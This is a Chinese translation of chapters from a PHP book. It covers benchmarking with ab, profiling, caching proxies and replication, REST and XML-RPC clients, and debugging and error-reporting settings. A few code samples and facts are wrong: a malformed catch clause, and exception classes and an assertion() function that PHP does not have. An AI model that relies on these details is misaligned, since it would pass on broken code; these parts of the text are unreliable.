此命令将以 10 个并发请求的形式对 PHP 脚本info.php进行 1,000 次速度测试。基准测试工具会返回关于测试的各种信息,包括最慢、最快和平均加载时间。您可以将这些值与静态 HTML 页面进行比较,看看您的脚本执行速度有多快。

例如,这是对简单调用phpinfo()页面进行 1,000 次获取的输出:

This is ApacheBench, Version 1.3d <$Revision: 1.2 $> apache-1.3
Copyright (c) 1996 Adam Twiss, Zeus Technology Ltd,
http://www.zeustech.net/
Copyright (c) 1998-2001 The Apache Group, http://www.apache.org/

Benchmarking localhost (be patient)
Completed 100 requests
Completed 200 requests
Completed 300 requests
Completed 400 requests
Completed 500 requests
Completed 600 requests
Completed 700 requests
Completed 800 requests
Completed 900 requests
Finished 1000 requests
Server Software: Apache/1.3.22
Server Hostname: localhost
Server Port: 80

Document Path: /info.php
Document Length: 49414 bytes

Concurrency Level: 10
Time taken for tests: 8.198 seconds
Complete requests: 1000
Failed requests: 0
Broken pipe errors: 0
Total transferred: 49900378 bytes
HTML transferred: 49679845 bytes
Requests per second: 121.98 [#/sec] (mean)
Time per request: 81.98 [ms] (mean)
Time per request: 8.20 [ms] (mean, across all concurrent requests)
Transfer rate: 6086.90 [Kbytes/sec] received

Connnection Times (ms)
 min mean[+/-sd] median max
Connect: 0 12 16.9 1 72
Processing: 7 69 68.5 58 596
Waiting: 0 64 69.4 50 596
Total: 7 81 66.5 79 596

Percentage of the requests served within a certain time (ms)
 50% 79
 66% 80
 75% 83
 80% 84
 90% 158
 95% 221
 98% 268
 99% 288
 100% 596 (last request)

如果您的 PHP 脚本使用会话,则从ab获得的结果将无法代表脚本的真实世界性能。由于会话在请求之间被锁定,ab运行的并发请求的结果将非常糟糕。然而,在正常使用中,会话通常与单个用户关联,该用户不太可能发起并发请求。

使用ab告诉您页面的总体速度,但不提供页面内单个功能或代码块的速度信息。在尝试提高代码速度时,请使用ab来测试您所做的更改。我们将在下一部分向您展示如何计时页面的各个部分,但如果整体页面仍然加载和运行缓慢,这些微基准测试并不重要。您的性能优化是否成功的最终证据来自ab报告的数字。

分析

PHP 没有内置的分析器,但是有一些技术可以用来调查您认为存在性能问题的代码。一种技术是调用microtime()函数来获取经过的时间的准确表示。您可以在要进行分析的代码周围调用microtime(),并使用它返回的值计算代码执行所花费的时间。

例如,这是一些代码,您可以使用它来查找生成phpinfo()输出所需的时间:

ob_start();
$start = microtime(true);

phpinfo();

$end = microtime(true);
ob_end_clean();

echo "phpinfo() took " . ($end - $start) . " seconds to run.\n";

多次重新加载此页面,您将看到数字略有波动。如果经常重新加载,您将看到波动非常大。仅计时代码的单次运行存在风险,可能无法获得代表性的机器负载——服务器可能在用户启动emacs时分页,或者已从其缓存中删除源文件。获得准确的执行时间表示的最佳方法是计时重复运行并查看这些时间的平均值。

PEAR 中可用的Benchmark类使得重复计时脚本的各个部分变得容易。以下是一个简单示例,展示了如何使用它:

require_once 'Benchmark/Timer.php';

$timer = new Benchmark_Timer;

$timer->start();
 sleep(1);
 $timer->setMarker('Marker 1');
 sleep(2);
$timer->stop();

$profiling = $timer->getProfiling();

foreach ($profiling as $time) {
 echo $time["name"] . ": " . $time["diff"] . "<br>\n";
}

echo "Total: " . $time["total"] . "<br>\n";

此程序的输出是:

Start: -
Marker 1: 1.0006979703903
Stop: 2.0100029706955
Total: 3.0107009410858

换句话说,到达标记 1 花了 1.0006979703903 秒,该标记紧跟我们的sleep(1)调用之后,这是您可以预期的。从标记 1 到结束花了稍微超过两秒,整个脚本运行时间略超过三秒。您可以添加任意多的标记,从而计时脚本的各个部分。

优化执行时间

这里有一些缩短脚本执行时间的技巧:

  • 当只需echo时,避免使用printf()

  • 避免在循环内重新计算值,因为 PHP 的解析器不会删除循环不变量。例如,如果$array 的大小不变,请不要这样做:

     for ($i = 0; $i < count($array); $i++) { /* do something */ }
    

    相反,请这样做:

     $num = count($array);
     for ($i = 0; $i < $num; $i++) { /* do something */ }
    
  • 只包含你需要的文件。拆分包含的文件,只包含你确定会一起使用的函数。虽然代码可能更难维护,但解析不使用的代码是昂贵的。

  • 如果你正在使用数据库,请使用持久性数据库连接——建立和断开数据库连接可能会很慢。

  • 在做简单的字符串操作时,不要使用正则表达式。例如,将一个字符转换为另一个字符的字符串操作,应该使用str_replace()而不是preg_replace()

优化内存需求

这里有一些减少脚本内存需求的技术:

  • 尽可能使用数字而不是字符串:

    for ($i = "0"; $i < "10"; $i++) // bad
    for ($i = 0; $i < 10; $i++) // good
    
  • 当您使用完一个大字符串后,请将持有该字符串的变量设置为空字符串。这样可以释放内存以便重新使用。

  • 只包含或需要你需要的文件。使用include_once()require_once()而不是include()require()

  • 在完成对 MySQL 或其他数据库的使用后尽快释放结果集。保持结果集在内存中超出其用途并无益处。

反向代理和复制

添加硬件通常是改善性能的最快途径。不过,最好先对软件进行基准测试,因为通常修复软件比购买新硬件便宜。解决流量扩展问题的三种常见方法是反向代理缓存、负载均衡服务器和数据库复制。

反向代理缓存

反向代理是一个程序,位于您的 Web 服务器前面,处理来自客户端浏览器的所有连接。代理被优化以快速提供静态文件,尽管外表和实施方式不同,大多数动态站点可以在短时间内进行缓存,而不会丢失服务。通常情况下,您会在一个单独的机器上运行代理。

举个例子,一个繁忙的站点每秒首页被访问 50 次。如果这个首页由两个数据库查询构建,并且数据库每分钟变化两次,你可以通过使用Cache-Control头告诉反向代理缓存页面 30 秒来避免每分钟 5994 次数据库查询。最坏情况是从数据库更新到用户看到新数据会有 30 秒的延迟。对于大多数应用程序来说,这不是一个很长的延迟,并且带来显著的性能优势。

代理缓存甚至可以智能缓存根据浏览器类型、接受的语言或类似功能个性化或定制的内容。典型的解决方案是发送Vary头告诉缓存确切影响缓存的请求参数。

有硬件代理缓存可用,但也有非常好的软件实现。对于一个高质量且极其灵活的开源代理缓存,请参考Squid。有关代理缓存及如何调整网站以与其配合的更多信息,请参阅 Duane Wessels 的书籍 Web Caching(O'Reilly)。

负载均衡和重定向

提升性能的一种方法是将负载分布到多台机器上。负载均衡系统可以通过均匀分布负载或将传入请求发送到负载最轻的机器来实现这一点。重定向器是一种重写传入 URL 的程序,允许对请求分布到各个服务器进行精细控制。

同样,有硬件 HTTP 重定向器和负载均衡器,但重定向和负载均衡也可以通过软件有效实现。通过像SquidGuard这样的工具将重定向逻辑添加到 Squid 中,可以通过多种方式提高性能。

MySQL 复制

有时数据库服务器是瓶颈——许多同时查询可能会使数据库服务器陷入困境,导致性能下降。复制是最佳解决方案之一。将发生在一个数据库中的所有内容迅速同步到一个或多个其他数据库中,从而获得多个相同的数据库。这使您可以在多个数据库服务器上分散查询,而不是仅在一个服务器上负载。

最有效的模型是使用单向复制,在这种模式下,您有一个单一的主数据库,将其复制到多个从数据库中。数据库写操作发送到主服务器,数据库读取在多个从服务器之间进行负载均衡。这种技术旨在适用于读取操作远远多于写操作的架构。大多数 Web 应用程序很适合这种场景。

图 15-1 展示了复制过程中主数据库和从数据库之间的关系。

数据库复制关系

图 15-1. 数据库复制关系

许多数据库支持复制,包括 MySQL、PostgreSQL 和 Oracle。

将所有内容整合在一起

对于一个真正强大的架构,将所有这些概念集成到像 图 15-2 中显示的配置中。

使用五台单独的机器——一个用于反向代理和重定向器,三个 Web 服务器和一个主数据库服务器——这种架构可以处理大量请求。确切的数字仅取决于两个瓶颈——单个的 Squid 代理和单个的主数据库服务器。稍加创意,这两者中的任何一个或两者都可以分配到多台服务器上,但目前,如果您的应用程序在某种程度上可缓存并且数据库读取量大,这是一个不错的方法。

将所有内容整合在一起

图 15-2. 将所有内容整合在一起

每个 Apache 服务器都有自己的只读 MySQL 数据库,因此来自 PHP 脚本的所有读请求都通过 Unix 域本地套接字传输到专用的 MySQL 实例。您可以根据需要在此框架下添加任意多个这样的 Apache/PHP/MySQL 服务器。来自您的 PHP 应用程序的任何数据库写入都将通过传输控制协议(TCP)套接字传输到主 MySQL 服务器。

接下来的步骤

在接下来的章节中,我们将深入探讨使用 PHP 开发和部署 Web 服务。

第十六章:Web 服务

历史上,每当有两个系统需要通信时,通常会创建一个新的协议(例如,用于发送邮件的 SMTP,用于接收邮件的 POP3,以及数据库客户端和服务器使用的众多协议)。Web 服务的理念是通过基于 XML 和 HTTP 的标准化远程过程调用机制,消除创建新协议的需要。

Web 服务使得集成异构系统变得简单。比如说,你正在为一个已经存在的图书馆系统编写 Web 界面。它有一个复杂的数据库表系统,并且在程序代码中嵌入了大量的业务逻辑来操作这些表。而且它是用 C++ 编写的。你可以重新在 PHP 中实现业务逻辑,编写大量代码以正确操作表,或者你可以在 C++ 中写少量代码来将图书馆操作(例如,为用户借书、查看归还日期、查看该用户的逾期罚款)作为 Web 服务公开。现在,你的 PHP 代码只需处理 Web 前端;它可以使用图书馆服务来完成所有繁重的工作。

REST 客户端

RESTful Web 服务 是使用 HTTP 和表现层状态转移(REST)原则实现的 Web API 的宽泛描述。它指的是一组资源以及客户端可以通过 API 执行的基本操作。

例如,一个 API 可能描述了一组作者及其所贡献的书籍。每个对象类型内的数据是任意的。在这种情况下,资源是每个单独的作者、每本单独的书籍,以及所有作者、所有书籍的集合,以及每个作者所贡献的书籍。每个资源必须有一个唯一的标识符,以便 API 调用知道正在检索或操作哪个资源。

你可能会用一个简单的类集合来表示书籍和作者资源,就像示例 16-1 中那样。

示例 16-1. 书籍和作者类
class Book {
 public $id;
 public $name;
 public $edition;

 public function __construct($id) {
 $this->id = $id;
 }
}

class Author {
 public $id;
 public $name;
 public $books = array();

 public function __construct($id) {
 $this->id = $id;
 }
}

因为 HTTP 是为 REST 架构而建的,它提供了一组动词用于与 API 进行交互。我们已经看到了 GETPOST 动词,通常用于代表“检索数据”和“执行操作”。RESTful Web 服务引入了另外两个动词,PUTDELETE

GET

检索关于资源或资源集合的信息。

POST

创建一个新资源。

PUT

更新资源使用新数据,或者用新资源替换一组资源。

DELETE

删除一个资源或一组资源。

例如,BooksAuthors API 可能包括以下基于对象类数据的 REST 端点:

GET /api/authors

返回集合中每个作者的标识符列表。

POST /api/authors

提供关于新作者的信息,创建新作者到集合中。

GET /api/authors/id

检索集合中具有标识符id的作者并将其返回。

PUT /api/authors/id

针对具有标识符id的作者的更新信息,更新集合中该作者的信息。

DELETE /api/authors/id

从集合中删除具有标识符id的作者。

GET /api/authors/id/books

检索具有标识符id的作者为每本书的标识符列表。

POST /api/authors/id/books

给定有关新书的信息,创建集合中具有标识符id的作者下的新书。

GET /api/books/id

检索集合中具有标识符id的书并将其返回。

RESTful web services 提供的GETPOSTPUTDELETE动词可以被视为数据库中典型的createretrieveupdatedelete(CRUD)操作的粗略等效,尽管它们可以与集合相关联,而不仅仅是实体,这在 CRUD 实现中是典型的。

响应

在每个前述的 API 端点中,HTTP 状态码用于提供请求的结果。HTTP 提供了一长串标准状态码:例如,当您创建资源时将返回201 Created,当您向不存在的端点发送请求时将返回501 Not Implemented

虽然完整的 HTTP 代码列表超出了本章的范围,但一些常见的代码包括:

200 OK

请求已成功完成。

201 Created

已成功完成创建新资源的请求。

400 Bad Request

请求命中了有效的端点,但格式错误,无法完成。

401 Unauthorized

403 Forbidden一起,表示一个有效请求,但由于缺乏权限而无法完成。通常,此响应指示需要授权但尚未提供。

403 Forbidden

401 Unauthorized类似,此响应指示一个有效请求,但由于缺乏权限而无法完成。通常,此响应指示授权可用但用户缺乏执行请求操作的权限。

404 Not Found

未找到资源(例如,尝试删除不存在 ID 的作者)。

500 Internal Server Error

服务器端发生错误。

这些代码仅作为指南和典型响应;RESTful API 提供的确切响应由 API 本身详细说明。

检索资源

检索资源信息涉及简单的GET请求。示例 16-2 使用curl扩展来格式化 HTTP 请求,在其上设置参数,发送请求并获取返回的信息。

示例 16-2. 检索作者数据
$authorID = "ktatroe";
$url = "http://example.com/api/authors/{$authorID}";

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);

$response = curl_exec($ch);
$resultInfo = curl_getinfo($ch);

curl_close($ch);

// decode the JSON and use a Factory to instantiate an Author object
$authorJSON = json_decode($response);
$author = ResourceFactory::authorFromJSON($authorJSON);

要获取有关作者的信息,此脚本首先构造代表资源端点的 URL。然后,初始化 curl 资源并向其提供构造的 URL。最后,执行 curl 对象,发送 HTTP 请求,等待响应并返回它。

在这种情况下,响应是 JSON 数据,解码后传递给AuthorFactory方法以构造Author类的实例。

更新资源

更新现有资源比检索有关资源信息稍微复杂一些。在这种情况下,您需要使用PUT动词。由于PUT最初是用于处理文件上传的,因此PUT请求要求您从文件中将数据流式传输到远程服务。

该脚本不是在磁盘上创建文件并从中进行流式传输,而是在示例 16-3 中使用 PHP 提供的'memory'流,首先用要发送的数据填充它,然后将其倒带到刚刚写入的数据的开头,最后将 curl 对象指向该文件。

示例 16-3. 更新书籍数据
$bookID = "ProgrammingPHP";
$url = "http://example.com/api/books/{$bookID}";

$data = json_encode(array(
 'edition' => 4,
));

$requestData = http_build_query($data, '', '&');

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);

$fh = fopen("php://memory", 'rw');
fwrite($fh, $requestData);
rewind($fh);

curl_setopt($ch, CURLOPT_INFILE, $fh);
curl_setopt($ch, CURLOPT_INFILESIZE, mb_strlen($requestData));
curl_setopt($ch, CURLOPT_PUT, true);

$response = curl_exec($ch);
$resultInfo = curl_getinfo($ch);

curl_close($ch);
fclose($fh);

创建资源

要创建新资源,请使用POST动词调用适当的端点。请求的数据以POST请求的典型键值形式放入其中。

在示例 16-4 中,用于创建新作者的Author API 端点将创建新作者的信息作为 JSON 格式对象,存储在'data'键下。

示例 16-4. 创建作者
<?php $newAuthor = new Author('pbmacintyre');
$newAuthor->name = "Peter Macintyre";

$url = "http://example.com/api/authors";

$data = array(
 'data' => json_encode($newAuthor)
);

$requestData = http_build_query($data, '', '&');

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);

curl_setopt($ch, CURLOPT_POSTFIELDS, $requestData);
curl_setopt($ch, CURLOPT_POST, true);

$response = curl_exec($ch);
$resultInfo = curl_getinfo($ch);

curl_close($ch);

该脚本首先构造一个新的Author实例,并将其值编码为 JSON 格式字符串。然后,它以适当的格式构造键值数据,将该数据提供给 curl 对象,并发送请求。

删除资源

删除资源同样直截了当。示例 16-5 创建一个请求,并通过curl_setopt()函数将动词设置为'DELETE',然后发送请求。

示例 16-5. 删除书籍
<?php $authorID = "ktatroe";
$bookID = "ProgrammingPHP";
$url = "http://example.com/api/authors/{$authorID}/books/{$bookID}";

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);

curl_setopt($ch, CURLOPT_CUSTOMREQUEST, 'DELETE');

$result = curl_exec($ch);
$resultInfo = curl_getinfo($ch);

curl_close($ch);

XML-RPC

虽然如今不如 REST 流行,但 XML-RPC 和 SOAP 是两种用于创建 Web 服务的较旧的标准协议。XML-RPC 是两者中更旧且更简单的,而 SOAP 则更新且更复杂。

PHP 通过xmlrpc扩展提供对 SOAP 和 XML-RPC 的访问,该扩展基于xmlrpc-epi 项目xmlrpc扩展不会默认编译进 PHP 中,因此在编译 PHP 时需要添加--with-xmlrpc到您的configure行。

服务器

示例 16-6 展示了一个非常基础的 XML-RPC 服务器,仅暴露一个功能(XML-RPC 称之为“方法”)。该函数multiply()用于两个数字相乘并返回结果。这并不是一个非常激动人心的示例,但它展示了 XML-RPC 服务器的基本结构。

示例 16-6. Multiplier XML-RPC 服务器
<?php
// expose this function via RPC as "multiply()"
function times ($method, $args) {
 return $args[0] * $args[1];
}

$request = $HTTP_RAW_POST_DATA;

if (!$request) {
 $requestXml = $_POST['xml'];
}

$server = xmlrpc_server_create() or die("Couldn't create server");
xmlrpc_server_register_method($server, "multiply", "times");

$options = array(
 'output_type' => 'xml',
 'version' => 'auto',
);

echo xmlrpc_server_call_method($server, $request, null, $options);

xmlrpc_server_destroy($server);

xmlrpc 扩展会为您处理分派。也就是说,它会确定客户端试图调用哪个方法,解码参数,并调用相应的 PHP 函数。然后,它返回一个 XML 响应,该响应编码了函数返回的任何可以被 XML-RPC 客户端解码的值。

使用 xmlrpc_server_create() 创建服务器:

$server = xmlrpc_server_create();

创建服务器后,通过 XML-RPC 分派机制使用 xmlrpc_server_register_method() 公开函数:

xmlrpc_server_register_method(*`server`*, *`method`*, *`function`*);

method 参数是 XML-RPC 客户端知道的名称。function 参数是实现该 XML-RPC 方法的 PHP 函数。在 示例 16-6 中,multiply() XML-RPC 客户端方法由 PHP 中的 times() 函数实现。通常,服务器会多次调用 xmlrpc_server_register_method() 来公开多个函数。

注册了所有方法后,调用 xmlrpc_server_call_method() 将传入的请求分派给适当的函数:

$response = xmlrpc_server_call_method(*`server`*, *`request`*, *`user_data`* [, *`options`*]);

request 是 XML-RPC 请求,通常作为 HTTP POST 数据发送。我们通过 $HTTP_RAW_POST_DATA 变量获取它。它包含要调用的方法名称及其参数。这些参数被解码为 PHP 数据类型,并调用函数(本例中为 times())。

作为 XML-RPC 方法公开的函数需要接受两到三个参数:

$retval = exposedFunction(*`method`*, *`args`* [, *`user_data`*]);

method 参数包含 XML-RPC 方法的名称(因此您可以在多个名称下公开一个 PHP 函数)。方法的参数传递给数组 args,可选的 user_data 参数是 xmlrpc_server_call_method() 函数的 user_data 参数。

options 参数用于 xmlrpc_server_call_method(),它是一个将选项名称映射到它们的值的数组。选项包括:

output_type

控制所使用的数据编码。允许的值为 "php""xml"(默认)。

verbosity

控制添加到输出 XML 的空白量,以便使其对人类可读。允许的值为 "no_white_space""newlines_only""pretty"(默认)。

escaping

控制哪些字符需要转义以及如何转义它们。可以将多个值作为子数组给出。允许的值为 "cdata""non-ascii"(默认)、"non-print"(默认)和 "markup"(默认)。

versioning

控制要使用的 Web 服务系统。允许的值为 "simple""soap 1.1""xmlrpc"(客户端的默认值)和 "auto"(服务器的默认值,意味着“任何格式的请求”)。

encoding

控制数据的字符编码。允许的值包括任何有效的编码标识符,但您很少需要将其从 "iso-8859-1"(默认)更改。

客户端

XML-RPC 客户端发出 HTTP 请求并解析响应。随 PHP 一起提供的xmlrpc扩展可以处理编码 XML-RPC 请求的 XML,但不知道如何发出 HTTP 请求。为此,您必须下载xmlrpc-epi 分发版,并安装sample/utils/utils.php文件。该文件包含一个执行 HTTP 请求的函数。

示例 16-7 展示了multiply XML-RPC 服务的客户端。

示例 16-7. XML-RPC 客户端乘法
<?php
require_once("utils.php");

$options = array('output_type' => "xml", 'version' => "xmlrpc");

$result = xu_rpc_http_concise(
 array(
 'method' => "multiply",
 'args' => array(5, 6),
 'host' => "192.168.0.1",
 'uri' => "/~gnat/test/ch11/xmlrpc-server.php",
 'options' => $options,
 )
);

echo "5 * 6 is {$result}";

我们首先加载 XML-RPC 便捷工具库。这使我们可以使用xu_rpc_http_concise()函数,该函数构建了一个POST请求:

$response = xu_rpc_http_concise(*`hash`*);

hash数组包含 XML-RPC 调用的各种属性,作为一个关联数组:

method

要调用的方法名称。

args

方法的参数数组。

host

提供方法的 Web 服务的主机名。

url

Web 服务的 URL 路径。

options

选项的关联数组,如服务器端。

debug

如果非零,则打印调试信息(默认为0)。

xu_rpc_http_concise()返回的值是调用方法后解码的返回值。

XML-RPC 还有几个特性我们尚未涵盖。例如,XML-RPC 的数据类型并不总是精确映射到 PHP 的数据类型,并且有一些方法可以将值编码为特定的数据类型,而不是xmlrpc扩展的最佳猜测。此外,我们还未涵盖xmlrpc扩展的一些特性,如 SOAP 故障。请参阅xmlrpc扩展的文档获取完整详情。

欲了解更多关于 XML-RPC 的信息,请参见Programming Web Services in XML-RPC(O’Reilly),作者是 Simon St. Laurent 等人。欲了解有关 SOAP 的更多信息,请参见Programming Web Services with SOAP(O’Reilly),作者是 James Snell 等人。

接下来是什么

现在我们已经涵盖了 PHP 的大部分语法、特性和应用,下一章将探讨当事情出错时该怎么办:如何调试 PHP 应用程序和脚本中出现的问题。

第十七章:PHP 调试

调试是一种获得的技能。正如在开发界经常说的,“你被给予了你所需的所有绳索;只是试图用它打个漂亮的蝴蝶结而不是让自己被绞死。” 很自然地可以推断,您进行的调试越多,您将变得越熟练。当然,当您的代码未能达到预期时,您的服务器环境也会为您提供一些很好的提示。然而,在深入讨论调试概念之前,我们需要看看更大的画面,并讨论这些编程环境。每个开发店铺都有自己的设置和做事方式,因此我们将在此处涵盖的内容反映了理想条件,也称为最佳实践。

在理想的世界中,PHP 开发至少有三种单独的环境进行工作:开发、演示和生产。我们将在接下来的部分逐一探讨每一个。

开发环境

开发环境是一个可以在其中创建原始代码而无需担心服务器崩溃或同行嘲笑的地方。这应该是验证或证伪概念和理论、可以实验性地创建代码的地方。因此,错误报告的环境反馈应尽可能详尽。所有错误报告都应记录,并同时发送到输出设备(浏览器)。所有警告应尽可能敏感和详细。

注意

本章稍后的部分,将会比较每个三种环境下关于调试和错误报告相关的推荐服务器设置,表 17-1。

可以辩论这个开发环境的位置。但是,如果您的公司有资源,那么应该建立一个专用服务器,用于这一目的,并建立完整的代码管理(例如 SVN,即 Subversion,或 Git)。如果资源不足,则可以通过localhost风格的设置使用开发 PC 来完成此目的。从这个localhost环境本身来看,这可以是有利的,因为您可能想尝试一些完全不同寻常的东西,通过在独立的 PC 上编码,您可以完全实验性地进行,而不会影响常用开发服务器或任何其他人的代码库。

您可以使用 Apache Web 服务器或 Microsoft 的 Internet Information Services (IIS)手动创建localhost环境。也有一些可以使用的一体化环境;Zend Server CE(社区版)是一个很好的例子。

无论您为原始开发设置了什么,都要确保给予开发人员充分的自由,让他们无需担心受到责备而可以自由发挥。这样可以增强他们创新的信心,而且没有人会“受伤”。

注意

至少有两种在您自己的 PC 上设置本地环境的替代方法。第一种是,从 PHP 5.4 开始,有一个内置的 Web 服务器。这个选项节省了下载和安装完整 Apache 或 IIS Web 服务器产品以用于localhost目的的时间。

第二,现在有许多允许云端开发的站点(名字有点双关)。Zend提供了一个免费的测试和开发环境。

暂存环境

暂存环境应尽可能地模仿生产环境。尽管这有时很难实现,但您模仿生产环境越接近,效果就越好。您将能够看到您的代码在一个受保护但也模拟真实生产环境的区域中的反应。暂存环境通常是最终用户或客户可以测试新功能或功能的地方,提供反馈并对代码进行压力测试,而不用担心影响生产代码。

注意

随着测试和实验的进展,您的暂存区域(至少从数据的角度来看)最终会与生产环境变得更加不同。因此,建立定期用生产信息替换暂存区域的程序是一个好习惯。不同公司或开发商的设置时间会因所创建的功能、发布周期等因素而异。

如果资源允许,您应该考虑有两个独立的暂存环境:一个供开发者(编码同行)使用,另一个供客户测试使用。来自这两种用户的反馈往往非常不同且非常有价值。这里的服务器错误报告和反馈也应该尽量减少,以尽可能地模拟生产环境。

生产环境

从错误报告的角度来看,生产环境需要尽可能严格地控制。您希望完全控制最终用户看到和体验到的内容。如果可能的话,不应让客户看到像 SQL 失败和代码语法警告这样的东西。当然,您的代码库在此时应该已经做好了充分的缓解措施(假设您已经正确而虔诚地使用了前述的两个环境),但有时错误和漏洞仍可能出现在生产中。如果在生产中出现问题,您希望以尽可能优雅和安静的方式失败。

注意

考虑使用 404 页面重定向和try...catch结构,将错误和失败重定向到生产环境中的安全着陆区域。参见第二章了解try...catch语法的正确编码风格。

至少,所有的错误报告都应该在生产环境中被抑制并发送到日志文件中。

php.ini 设置

您需要考虑每种服务器类型的全局环境设置以开发您的代码。首先,我们将简要总结这些设置,然后列出每种编码环境的推荐设置。

display_errors

控制 PHP 遇到任何错误时显示的开关。在生产环境中应设置为0(关闭)。

error_reporting

这是一组预定义常量的设置,将向错误日志和/或 Web 浏览器报告 PHP 遇到的任何错误。此指令可以设置 16 种不同的单独常量,并且某些常量可以集体使用。最常见的是 E_ALL,用于报告所有类型的错误和警告;E_WARNING,仅向浏览器显示警告(非致命错误);以及 E_DEPRECATED,用于显示关于将来版本中将会失败的代码的运行时通知警告(例如 register_globals)。这些常量的组合使用示例是 E_ALL & ~E_NOTICE,它告诉 PHP 报告除生成通知外的所有错误。可以在 PHP 网站 找到所有这些定义常量的完整列表。

error_log

错误日志的存储位置路径。错误日志是位于服务器上的文本文件,记录以文本形式出现的所有错误。例如,在 Apache 服务器中可能是 apache2/logs

variables_order

设置超全局数组加载信息的优先顺序。默认顺序为 EGPCS,即首先加载环境($_ENV)数组,然后是 GET$_GET)数组,接着是 POST$_POST)数组,然后是 cookie($_COOKIE)数组,最后是服务器($_SERVER)数组。

request_order

描述 PHP 将 GETPOST 和 cookie 变量注册到 $_REQUEST 数组中的顺序。注册是从左到右进行的,较新的值会覆盖较旧的值。

zend.assertions

确定是否运行断言并抛出错误。当禁用时,调用 assert() 中的条件永不运行(因此,它们可能产生的任何副作用都不会发生)。

assert.exception

确定是否启用异常系统。默认情况下,在开发和生产环境中都是开启的,并且通常是处理错误条件的首选方式。

还可以使用其他设置;例如,如果担心日志文件过大,可以使用ignore_repeated_errors。该指令可以抑制相同代码行中重复记录的错误,但仅限于同一文件中的同一行。如果您正在调试代码的循环部分并且其中某处发生错误,这可能会很有用。

PHP 还允许您在代码执行期间修改某些 INI 设置,从而改变其服务器范围的设置。这是在一个疑难文件中打开某些错误报告并将结果显示在屏幕上的快速方法,但在生产环境中仍不建议使用。如果需要,可以在暂存环境中执行此操作。例如,打开所有错误报告并在浏览器中显示任何报告的错误。要执行此操作,请在文件顶部插入以下两个命令:

error_reporting(E_ALL);
ini_set("display_errors", 1);

error_reporting() 函数允许您覆盖报告的错误级别,而 ini_set() 函数允许您更改 php.ini 设置。再次强调,并非所有 INI 设置都可以更改,请务必查看 PHP 网站 了解可以和不可以在运行时更改的内容。

如前所述,Table 17-1 列出了 PHP 指令及其在三种基本服务器环境中的建议。

Table 17-1. PHP 服务器环境的错误指令

PHP 指令 开发 暂存 生产
display_errors 打开 根据期望结果选择其中一个设置 关闭
error_reporting E_ALL E_ALL & ~E_WARNING & ~E_DEPRECATED E_ALL & ~E_DEPRECATED & ~E_STRICT
error_log /logs 文件夹 /logs 文件夹 /logs 文件夹
variables_order EGPCS GPCS GPCS
request_order GP GP GP

错误处理

错误处理是任何实际应用的重要部分。PHP 提供了多种机制,可用于处理错误,无论是在开发过程中还是应用在生产环境中。

错误报告

通常情况下,当 PHP 脚本发生错误时,错误消息会插入到脚本的输出中。如果错误是致命的,则脚本执行会停止。

条件有三个级别:通知、警告和错误。脚本执行中发生的 通知 可能表明错误,但也可能在正常执行过程中发生(例如,脚本尝试访问尚未设置的变量)。警告 表示非致命错误条件;通常在调用具有无效参数的函数时显示警告。发出警告后,脚本将继续执行。错误 表示脚本无法恢复的致命条件。解析错误 是一种特定类型的错误,当脚本语法错误时发生。除解析错误外,所有错误均为运行时错误。

建议将所有通知、警告和错误视为错误处理;这有助于防止诸如在变量具有合法值之前使用它们等错误。

默认情况下,除了运行时通知外的所有条件都会被捕获并显示给用户。您可以在php.ini文件中全局更改此行为,使用error_reporting选项。您还可以在脚本中使用error_reporting()函数局部更改错误报告行为。

使用error_reporting选项和error_reporting()函数,您可以使用不同的位操作符将各种常量值组合起来指定要捕获和显示的条件,如表 17-2 中所列。例如,这表示所有错误级别选项:

(E_ERROR | E_PARSE | E_CORE_ERROR | E_COMPILE_ERROR | E_USER_ERROR)

虽然这表示除运行时通知外的所有选项:

(E_ALL & ~E_NOTICE)

如果在你的php.ini文件中设置了track_errors选项,当前错误的描述将存储在$PHP_ERRORMSG中。

表 17-2. 错误报告值

Value Meaning
E_ERROR 运行时错误
E_WARNING 运行时警告
E_PARSE 编译时解析错误
E_NOTICE 运行时通知
E_CORE_ERROR PHP 内部生成的错误
E_CORE_WARNING PHP 内部生成的警告
E_COMPILE_ERROR Zend 脚本引擎内部生成的错误
E_COMPILE_WARNING Zend 脚本引擎内部生成的警告
E_USER_ERROR 通过调用trigger_error()生成的运行时错误
E_USER_WARNING 通过调用trigger_error()生成的运行时警告
E_USER_NOTICE 通过调用trigger_error()生成的运行时通知
E_ALL 上述所有选项

异常

现在,许多 PHP 函数抛出异常而不是致命退出操作。异常允许脚本在出现错误后继续执行——当异常发生时,会创建一个BaseException类的子类对象,然后抛出。抛出的异常必须由跟随抛出代码的代码“捕获”。

try {
 $result = eval($code);
} catch {\ParseException $exception) {
 // handle the exception
}

你应该包含一个异常处理程序来捕获任何抛出异常的方法中的异常。任何未捕获的异常都会导致脚本停止执行。

错误抑制

您可以通过在表达式之前放置错误抑制运算符@来禁用单个表达式的错误消息。例如:

$value = @(2 / 0);

没有错误抑制运算符,表达式通常会因“除以零”错误而停止脚本的执行。如下所示,该表达式什么也不做,尽管在其他情况下,如果简单地忽略本应使程序停止的错误,则你的程序可能处于未知状态。错误抑制运算符不能捕获解析错误,只能捕获各种类型的运行时错误。

当然,抑制错误的缺点是你不会知道它们的存在。最好正确处理潜在的错误条件;例如,查看“触发错误”中的示例。

要完全关闭错误报告,请使用:

error_reporting(0);

该函数确保无论 PHP 在处理和执行脚本时遇到什么错误,都不会将错误发送给客户端(除了无法被抑制的解析错误)。当然,这并不能阻止这些错误的发生。更好的控制客户端显示哪些错误消息的选项在“定义错误处理程序”部分中展示。

触发错误

您可以使用assertion()函数从脚本中抛出错误:

assert (mixed *`$expression`* [, mixed *`$message`*]);

第一个参数是必须为true以不触发断言的条件;第二个(可选)参数是消息。

当您编写自己的函数来检查参数的健全性时,触发错误是很有用的。例如,这里有一个函数,它将一个数字除以另一个数字,并在第二个参数为0时抛出错误:

function divider($a, $b) {
 assert($b != 0, '$b cannot be 0');

 return($a / $b);
}

echo divider(200, 3);
echo divider(10, 0);
66.666666666667
Fatal error: $b cannot be 0 in page.php on line 5

当调用assert()时触发时,会抛出一个AssertionException——一个扩展了ErrorException且严重性为E_ERROR的异常。在某些情况下,您可能希望抛出一个扩展AssertionException类型的错误。您可以通过将异常作为消息参数而不是字符串来实现:

class DividerParameterException extends AssertionException { }

function divider($a, $b) {
 assert($b != 0, new DividerParameterException('$b cannot be 0'));

 return($a / $b);
}

定义错误处理程序

